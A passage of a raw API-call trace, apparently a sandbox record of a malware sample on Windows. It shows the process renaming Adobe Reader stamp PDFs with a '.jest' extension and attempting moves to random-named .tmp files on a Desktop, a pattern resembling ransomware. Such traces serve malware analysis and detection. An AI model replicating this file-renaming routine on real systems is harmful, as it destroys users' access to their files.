halpmcxz\\desktop\\qiioucjbgfp qqvzukeojht4gggamwsvouqwai3h0z5ulp au46m2k0gkflu5e itdhft41tubdsepqh d7twjgzutdtonqx-7c_.tmp")) returned 0 [0151.666] GetLastError () returned 0x2 [0151.666] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.666] CoFreeUnusedLibraries () [0151.666] GetTickCount () returned 0x1157aeb [0151.666] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.667] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.667] GetTickCount () returned 0x1157aeb [0151.667] IsWindowVisible (hWnd=0x30268) returned 0 [0151.667] Sleep (dwMilliseconds=0x0) [0151.667] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf.jest")) returned 1 [0151.668] GetLastError () returned 0x0 [0151.668] VarBstrFromR4 (in: fltIn=0x479450ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.35") returned 0x0 [0151.669] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.669] CoFreeUnusedLibraries () [0151.669] GetTickCount () returned 0x1157aeb [0151.669] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.669] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.669] GetTickCount () returned 0x1157aeb [0151.669] IsWindowVisible (hWnd=0x30268) returned 0 [0151.669] Sleep (dwMilliseconds=0x0) [0151.670] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FEMXP9XEQIlGGcgqjHz7cQCcYY7QFLBKZQiTBkJoJQcq0Ix0sJn1vLBs9tl4QOV8Q8RMLm_FgNLF2ug5kXe846w6055G0tJ7-S7Zh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\femxp9xeqilggcgqjhz7cqccyy7qflbkzqitbkjojqcq0ix0sjn1vlbs9tl4qov8q8rmlm_fgnlf2ug5kxe846w6055g0tj7-s7zh.tmp")) returned 0 [0151.670] GetLastError () returned 0x2 [0151.670] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.671] CoFreeUnusedLibraries () [0151.671] GetTickCount () returned 0x1157aeb [0151.671] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.671] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.671] GetTickCount () returned 0x1157aeb [0151.671] IsWindowVisible (hWnd=0x30268) returned 0 [0151.671] Sleep (dwMilliseconds=0x0) [0151.671] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf.jest")) returned 1 [0151.674] GetLastError () returned 0x0 [0151.675] VarBstrFromR4 (in: fltIn=0x479450af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.37") returned 0x0 [0151.675] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.675] CoFreeUnusedLibraries () [0151.675] GetTickCount () returned 0x1157afa [0151.676] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.676] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.676] GetTickCount () returned 0x1157afa [0151.676] IsWindowVisible (hWnd=0x30268) returned 0 [0151.676] Sleep (dwMilliseconds=0x0) [0151.677] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2ESR9oglN bSwRKE2v69OD_2nxyd5NAPY8dS0fvpRi4-YxCQe yl42R4Rsjv_U19nC djOB 6QmDb0UAFZCVzX2cxdKM99sUkMhL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2esr9ogln bswrke2v69od_2nxyd5napy8ds0fvpri4-yxcqe yl42r4rsjv_u19nc djob 6qmdb0uafzcvzx2cxdkm99sukmhl.tmp")) returned 0 [0151.677] GetLastError () returned 0x2 [0151.677] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.677] CoFreeUnusedLibraries () [0151.677] GetTickCount () returned 0x1157afa [0151.678] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.678] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.678] GetTickCount () returned 0x1157afa [0151.678] IsWindowVisible (hWnd=0x30268) returned 0 [0151.678] Sleep (dwMilliseconds=0x0) [0151.678] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf.jest")) returned 1 [0151.679] GetLastError () returned 0x0 [0151.680] VarBstrFromR4 (in: fltIn=0x479450af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.37") returned 0x0 [0151.680] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.680] CoFreeUnusedLibraries () [0151.680] GetTickCount () returned 0x1157afa [0151.680] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.680] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.680] GetTickCount () returned 0x1157afa [0151.681] IsWindowVisible (hWnd=0x30268) returned 0 [0151.681] Sleep (dwMilliseconds=0x0) [0151.682] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EG36HdM-FbRNzyTSeKPk 6BHrFtGdl5aM7DSuhjdoKd9h-AbS-wu_7biZjYPUR50Unpz-cvirC273p0q9Zf-dPYeS7OoggBZHUT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eg36hdm-fbrnzytsekpk 6bhrftgdl5am7dsuhjdokd9h-abs-wu_7bizjypur50unpz-cvirc273p0q9zf-dpyes7ooggbzhut.tmp")) returned 0 [0151.682] GetLastError () returned 0x2 [0151.682] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.682] CoFreeUnusedLibraries () [0151.682] GetTickCount () returned 0x1157afa [0151.682] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.682] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.682] GetTickCount () returned 0x1157afa [0151.683] IsWindowVisible (hWnd=0x30268) returned 0 [0151.683] Sleep (dwMilliseconds=0x0) [0151.683] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf.jest")) returned 1 [0151.695] GetLastError () returned 0x0 [0151.696] VarBstrFromR4 (in: fltIn=0x479450b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.38") returned 0x0 [0151.696] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.696] CoFreeUnusedLibraries () [0151.696] GetTickCount () returned 0x1157b0a [0151.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.696] GetTickCount () returned 0x1157b0a [0151.697] IsWindowVisible (hWnd=0x30268) returned 0 [0151.697] Sleep (dwMilliseconds=0x0) [0151.697] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gtasbvoYIOHWCLx6DPHPyQF2kg5DS7ehsp0GWIMNoUOyO7mdzjx_enhHN-cmw8I96VYYdjN7DKFIyHxL TIQEInX8r-1Z1pjUxRQE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gtasbvoyiohwclx6dphpyqf2kg5ds7ehsp0gwimnouoyo7mdzjx_enhhn-cmw8i96vyydjn7dkfiyhxl tiqeinx8r-1z1pjuxrqe.tmp")) returned 0 [0151.698] GetLastError () returned 0x2 [0151.698] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.698] CoFreeUnusedLibraries () [0151.698] GetTickCount () returned 0x1157b0a [0151.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.698] GetTickCount () returned 0x1157b0a [0151.698] IsWindowVisible (hWnd=0x30268) returned 0 [0151.698] Sleep (dwMilliseconds=0x0) [0151.699] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf.jest")) returned 1 [0151.700] GetLastError () returned 0x0 [0151.700] VarBstrFromR4 (in: fltIn=0x479450b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.38") returned 0x0 [0151.701] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.701] CoFreeUnusedLibraries () [0151.701] GetTickCount () returned 0x1157b0a [0151.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.701] GetTickCount () returned 0x1157b0a [0151.701] IsWindowVisible (hWnd=0x30268) returned 0 [0151.701] Sleep (dwMilliseconds=0x0) [0151.702] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pNwxnipkSCT49-ZimhDBHRr6vXBQRP28E2d9oWpGZ1k s0cl8vg 1xLJXHsCpY8mikE4BMhWC0Stj9GFFbekzO3OoblpZSEoBWtd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnwxnipksct49-zimhdbhrr6vxbqrp28e2d9owpgz1k s0cl8vg 1xljxhscpy8mike4bmhwc0stj9gffbekzo3ooblpzseobwtd.tmp")) returned 0 [0151.702] GetLastError () returned 0x2 [0151.703] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.703] CoFreeUnusedLibraries () [0151.703] GetTickCount () returned 0x1157b0a [0151.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.703] GetTickCount () returned 0x1157b19 [0151.703] IsWindowVisible (hWnd=0x30268) returned 0 [0151.703] Sleep (dwMilliseconds=0x0) [0151.705] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf.jest")) returned 1 [0151.706] GetLastError () returned 0x0 [0151.706] VarBstrFromR4 (in: fltIn=0x479450b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.4") returned 0x0 [0151.706] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.706] CoFreeUnusedLibraries () [0151.706] GetTickCount () returned 0x1157b19 [0151.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.707] GetTickCount () returned 0x1157b19 [0151.707] IsWindowVisible (hWnd=0x30268) returned 0 [0151.707] Sleep (dwMilliseconds=0x0) [0151.708] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e8QeVE55-pu p3eDPDDiAVds74YNT_YtLmVz1W9Y 1jzB9VOio9W4kZCR2ycgi37n8eKgFVSAvjkkLtlFdGBNQBq1E_KDefIq3P.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e8qeve55-pu p3edpddiavds74ynt_ytlmvz1w9y 1jzb9voio9w4kzcr2ycgi37n8ekgfvsavjkkltlfdgbnqbq1e_kdefiq3p.tmp")) returned 0 [0151.708] GetLastError () returned 0x2 [0151.710] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.710] CoFreeUnusedLibraries () [0151.710] GetTickCount () returned 0x1157b19 [0151.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.710] GetTickCount () returned 0x1157b19 [0151.710] IsWindowVisible (hWnd=0x30268) returned 0 [0151.710] Sleep (dwMilliseconds=0x0) [0151.710] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf.jest")) returned 1 [0151.712] GetLastError () returned 0x0 [0151.712] VarBstrFromR4 (in: fltIn=0x479450b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.4") returned 0x0 [0151.712] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.712] CoFreeUnusedLibraries () [0151.713] GetTickCount () returned 0x1157b19 [0151.713] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.713] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.713] GetTickCount () returned 0x1157b19 [0151.713] IsWindowVisible (hWnd=0x30268) returned 0 [0151.713] Sleep (dwMilliseconds=0x0) [0151.714] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vYT UT eGTtcBTCco0RGE6wdFg3OA2His0QuVj_0d_WJ1mJtnz2IMMq_JhAa2ueIhclM Fa1fls1PESoEn3tTlA9ODWy2Ej6 OKv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vyt ut egttcbtcco0rge6wdfg3oa2his0quvj_0d_wj1mjtnz2immq_jhaa2ueihclm fa1fls1pesoen3ttla9odwy2ej6 okv.tmp")) returned 0 [0151.714] GetLastError () returned 0x2 [0151.714] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.714] CoFreeUnusedLibraries () [0151.714] GetTickCount () returned 0x1157b19 [0151.714] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.714] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.714] GetTickCount () returned 0x1157b19 [0151.715] IsWindowVisible (hWnd=0x30268) returned 0 [0151.715] Sleep (dwMilliseconds=0x0) [0151.715] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf.jest")) returned 1 [0151.718] GetLastError () returned 0x0 [0151.733] VarBstrFromR4 (in: fltIn=0x479450b5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.41") returned 0x0 [0151.734] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.734] CoFreeUnusedLibraries () [0151.734] GetTickCount () returned 0x1157b29 [0151.734] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.734] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.734] GetTickCount () returned 0x1157b39 [0151.735] IsWindowVisible (hWnd=0x30268) returned 0 [0151.735] Sleep (dwMilliseconds=0x0) [0151.736] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jv9KsKJSPoMG757Guk7z6FUQEA2zci0iBoGcDkr1qEEslMVP8-J8LO_jctgY5YPXNE8BMtmH7OlrkgfvOoVQiEuHl5ROKv2RDbT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jv9kskjspomg757guk7z6fuqea2zci0ibogcdkr1qeeslmvp8-j8lo_jctgy5ypxne8bmtmh7olrkgfvoovqieuhl5rokv2rdbt.tmp")) returned 0 [0151.736] GetLastError () returned 0x2 [0151.736] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.737] CoFreeUnusedLibraries () [0151.737] GetTickCount () returned 0x1157b39 [0151.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.737] GetTickCount () returned 0x1157b39 [0151.737] IsWindowVisible (hWnd=0x30268) returned 0 [0151.737] Sleep (dwMilliseconds=0x0) [0151.737] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf.jest")) returned 1 [0151.739] GetLastError () returned 0x0 [0151.739] VarBstrFromR4 (in: fltIn=0x479450b7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.43") returned 0x0 [0151.739] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.739] CoFreeUnusedLibraries () [0151.739] GetTickCount () returned 0x1157b39 [0151.740] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.740] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.740] GetTickCount () returned 0x1157b39 [0151.740] IsWindowVisible (hWnd=0x30268) returned 0 [0151.740] Sleep (dwMilliseconds=0x0) [0151.740] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x9rk6vetO48pfZI3BShJ_rNWaRKIEvma8 l2SdWWx-49iVdDB0bpADuqVyzeOi2QOBNhvSBzMfQqDA4PvddPcu7AyfFgXDm YPl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x9rk6veto48pfzi3bshj_rnwarkievma8 l2sdwwx-49ivddb0bpaduqvyzeoi2qobnhvsbzmfqqda4pvddpcu7ayffgxdm ypl.tmp")) returned 0 [0151.741] GetLastError () returned 0x2 [0151.741] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.741] CoFreeUnusedLibraries () [0151.741] GetTickCount () returned 0x1157b39 [0151.741] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.741] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.741] GetTickCount () returned 0x1157b39 [0151.741] IsWindowVisible (hWnd=0x30268) returned 0 [0151.741] Sleep (dwMilliseconds=0x0) [0151.742] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf.jest")) returned 1 [0151.742] GetLastError () returned 0x0 [0151.743] VarBstrFromR4 (in: 